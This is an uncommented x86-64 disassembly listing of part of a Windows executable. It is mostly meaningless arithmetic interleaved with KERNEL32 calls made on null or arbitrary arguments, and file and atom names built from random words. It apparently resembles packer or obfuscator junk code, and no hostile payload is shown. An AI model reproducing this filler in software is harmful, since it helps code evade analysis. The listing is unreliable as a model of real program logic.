lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0x9470], rax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4394]
mov dword [rsp + 0x41bc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9478], rax
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6010], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x74], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
mov word [rsp + 0xc1c], ax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x72]
sub eax, ecx
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x43e8]
mov ecx, dword [rsp + 0x42c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43f0], eax
mov rax, qword [rsp + 0x9470]
mov rax, qword [rax]
mov qword [rsp + 0x9480], rax
mov rax, qword [rsp + 0x91c0]
mov eax, dword [rax]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov qword [rsp + 0x9488], rax
movzx ecx, word [rsp + 0xc00]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e602e], al
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9240]
mov byte [rcx], al
movzx eax, word [rsp + 0xbf8]
movzx ecx, word [rsp + 0xc14]
sar eax, cl
mov word [rsp + 0xbe4], ax
mov rax, qword [rsp + 0x93a0]
movzx eax, word [rax]
mov word [rsp + 0xc20], ax
movsx eax, word [rsp + 0xb68]
mov rcx, qword [rsp + 0x9310]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x9358]
mov rax, qword [rax]
mov qword [rsp + 0x9490], rax
mov eax, dword [0x1401e6014]
mov ecx, dword [rsp + 0x42d4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
lea rax, [rsp + 0x4394]
mov qword [rsp + 0x9498], rax
mov rax, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x9370]
mov qword [rsp + 0x94a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x8ca8]
movzx eax, word [rax]
mov word [0x1401e74b0], ax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
mov word [rsp + 0xc24], ax
movsx eax, byte [rsp + 0x6d]
mov rcx, qword [0x1401e7498]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
lea rax, [rsp + 0x6e]
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0x9188]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov r9d, 1
xor r8d, r8d
mov edx, 0x4a43
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x43f4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9078], rax
mov edx, 0x25e6
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x43e4], eax
mov eax, dword [rsp + 0x4340]
mov dword [rsp + 0x43f8], eax
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x9090]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x90c0], rax
movzx eax, word [rsp + 0xbe4]
mov rcx, qword [rsp + 0x9250]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6030], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x94b0], rax
lea rcx, [rsp + 0x94b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0xb94]
movzx ecx, word [rsp + 0xbe4]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
movsx eax, word [rsp + 0xbc8]
movsx ecx, word [0x1401e7468]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9048]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x9438]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x94c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4398]
mov rcx, qword [rsp + 0x9150]
mov qword [rsp + 0x94d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43e0], eax
movzx ecx, word [rsp + 0xbbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
movsx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x9310]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e6044], ax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x76], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor r9d, r9d
lea r8, [rsp + 0x9100]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43fc], eax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x64], al
lea rax, [0x1401e6028]
mov qword [rsp + 0x94d8], rax
movzx eax, word [rsp + 0xbe0]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov word [rcx], ax
lea rax, [rsp + 0x90e0]
mov qword [rsp + 0x94e0], rax
lea rcx, str.parallelism_Overwriting_bungled
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x9278]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x93c8], rax
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x43a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4380], eax
lea rax, [rsp + 0x4214]
mov qword [rsp + 0x94e8], rax
movsx eax, word [rsp + 0xbc4]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov rcx, qword [0x1401e7428]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0xb60]
mov word [rsp + 0xc28], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
mov eax, dword [rsp + 0x4394]
mov dword [rsp + 0x4404], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x90d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x9428]
mov ecx, dword [rsp + 0x4340]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4398], eax
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, word [0x1401e7468]
movsx ecx, word [rsp + 0xbc4]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6013], al
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xbf8]
mov word [rsp + 0xc2c], ax
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x61], al
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x94f8], rax
xor edx, edx
mov eax, dword [rsp + 0x4348]
div dword [0x1401e6018]
mov dword [rsp + 0x4398], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0x9418]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9138]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov eax, dword [section..data]
mov rcx, qword [rsp + 0x9498]
mov qword [rsp + 0x9508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9508]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:unbelievabilityHaunchesdisfranchiseHomogenates
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9510], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x77], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43d8], eax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
sar eax, cl
mov byte [0x1401e602f], al
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbb0]
and eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e78]
movzx eax, word [rax]
mov word [rsp + 0xc30], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4408], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x90f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9418]
mov qword [rsp + 0x9518], rax
mov eax, dword [rsp + 0x437c]
mov ecx, dword [rsp + 0x4370]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov qword [rsp + 0x9520], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x8fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba0]
add eax, ecx
mov word [rsp + 0xc30], ax
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [0x1401e601f], al
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4314], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9528], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9440]
movzx eax, word [rax]
mov word [rsp + 0xc34], ax
movzx ecx, word [rsp + 0xb90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9338]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
lea rax, [0x1401e7410]
mov qword [rsp + 0x9530], rax
mov rax, qword [rsp + 0x9150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4370], eax
mov eax, dword [rsp + 0x42c4]
mov ecx, dword [rsp + 0x423c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4404], eax
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x9538], rax
mov rax, qword [rsp + 0x94a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5d]
xor eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, word [rsp + 0xb9c]
mov word [0x1401e74b4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rcx, [rsp + 0x267b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [0x1401e6028]
mov word [rsp + 0xc38], ax
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x70]
or eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x90f8]
movsx eax, word [rax]
movsx ecx, word [0x1401e74b0]
shl eax, cl
mov word [rsp + 0xb64], ax
mov eax, dword [rsp + 0x437c]
mov rcx, qword [rsp + 0x8fc0]
mov qword [rsp + 0x9540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9540]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9428]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9500]
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9110]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0x9550], rax
movzx eax, word [rsp + 0xbb4]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6048], ax
mov rax, qword [rsp + 0x9200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
mov edx, 0x664989
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x440c], eax
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x91b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x94b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x79], al
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9510]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x41c8], eax
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x9500]
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0x90a0]
mov ecx, dword [rsp + 0x42c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov dword [rcx], eax
lea rax, [rsp + 0x43f8]
mov qword [rsp + 0x9568], rax
mov dword [rsp + 0x20], 0x2ba2
mov r9d, 0x286e
mov r8d, 0xc0c
mov edx, 0x2fa4
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72]
and eax, ecx
mov byte [0x1401e6007], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rdx, [rsp + 0x8e48]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4414], eax
movsx eax, byte [0x1401e601d]
movsx ecx, byte [rsp + 0x6d]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x9570], rax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
mov rax, qword [0x1401e7488]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc2c]
shl eax, cl
mov rcx, qword [rsp + 0x9388]
mov word [rcx], ax
lea rax, [rsp + 0x9518]
mov qword [rsp + 0x9578], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4c5a
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4410], eax
mov eax, dword [rsp + 0x43d4]
mov rcx, qword [rsp + 0x9108]
mov qword [rsp + 0x9580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9580]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4404], eax
lea rax, [0x1401e6014]
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7419]
add eax, ecx
mov rcx, qword [0x1401e7448]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x8e78]
movzx eax, word [rax]
mov word [rsp + 0xc3c], ax
movzx eax, word [rsp + 0xbcc]
movzx ecx, word [rsp + 0xbb8]
and eax, ecx
mov rcx, qword [rsp + 0x92a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0x67]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov word [rsp + 0xc40], ax
lea rcx, str.Buries_Located_Cashiers_Darkrooms
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc44], ax
mov eax, dword [rsp + 0x4340]
mov ecx, dword [rsp + 0x4388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4398], eax
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov dword [rsp + 0x4418], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [0x1401e7410]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9480], rax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x43ec], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc48], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x94e0]
mov rcx, qword [rsp + 0x94f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6006]
sub eax, ecx
mov byte [0x1401e6032], al
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
mov byte [rsp + 0x7a], al
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov word [rcx], ax
movzx eax, word [0x1401e603c]
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x9318]
mov rcx, qword [rsp + 0x9160]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9190]
mov qword [rcx], rax
mov rax, qword [0x1401e6008]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x90f0]
mov ecx, dword [rsp + 0x4418]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41bc], eax
lea rdx, [rsp + 0x441c]
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x43e4], eax
mov rax, qword [rsp + 0x9130]
mov eax, dword [rax]
mov dword [rsp + 0x4420], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4410], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movsx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e74a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x7b], al
movsx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0x9338]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0x93a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc38]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov eax, dword [rsp + 0x43a8]
mov dword [rsp + 0x4424], eax
mov rax, qword [rsp + 0x8cd0]
mov rcx, qword [rsp + 0x9198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4348], eax
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
mov qword [rsp + 0x9598], rax
lea rcx, [rsp + 0x95a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0x9360]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9390], rax
lea rax, [rsp + 0xc34]
mov qword [0x1401e74b8], rax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x9468]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0x7c], al
lea rdx, [rsp + 0x8e48]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x43ec], eax
movzx eax, word [rsp + 0xbb8]
movzx ecx, word [0x1401e6030]
sub eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
lea rax, [rsp + 0xbe4]
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x92f0]
mov rcx, qword [rsp + 0x9490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9418], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:Groupoctanes_acceptableDysentery
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x95b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [0x1401e6020]
mov rcx, qword [rsp + 0x90c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9210], rax
lea rax, [rsp + 0x41d0]
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x90f0]
mov rcx, qword [rsp + 0x9438]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
movzx eax, word [0x1401e6010]
movzx ecx, word [rsp + 0xc40]
sub eax, ecx
mov rcx, qword [0x1401e7450]
mov word [rcx], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x95c0], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb90], ax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov rcx, qword [rsp + 0x9368]
mov byte [rcx], al
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xba0], ax
movzx eax, word [rsp + 0xb74]
mov word [rsp + 0xc50], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:detestsImplodesomnivore_rebuilt
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0x9548]
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
shr rax, cl
mov qword [rsp + 0x90e0], rax
mov eax, dword [rsp + 0x4270]
mov dword [rsp + 0x4428], eax
mov rax, qword [rsp + 0x92f8]
mov rcx, qword [rsp + 0x91a8]
mov ecx, dword [rcx]
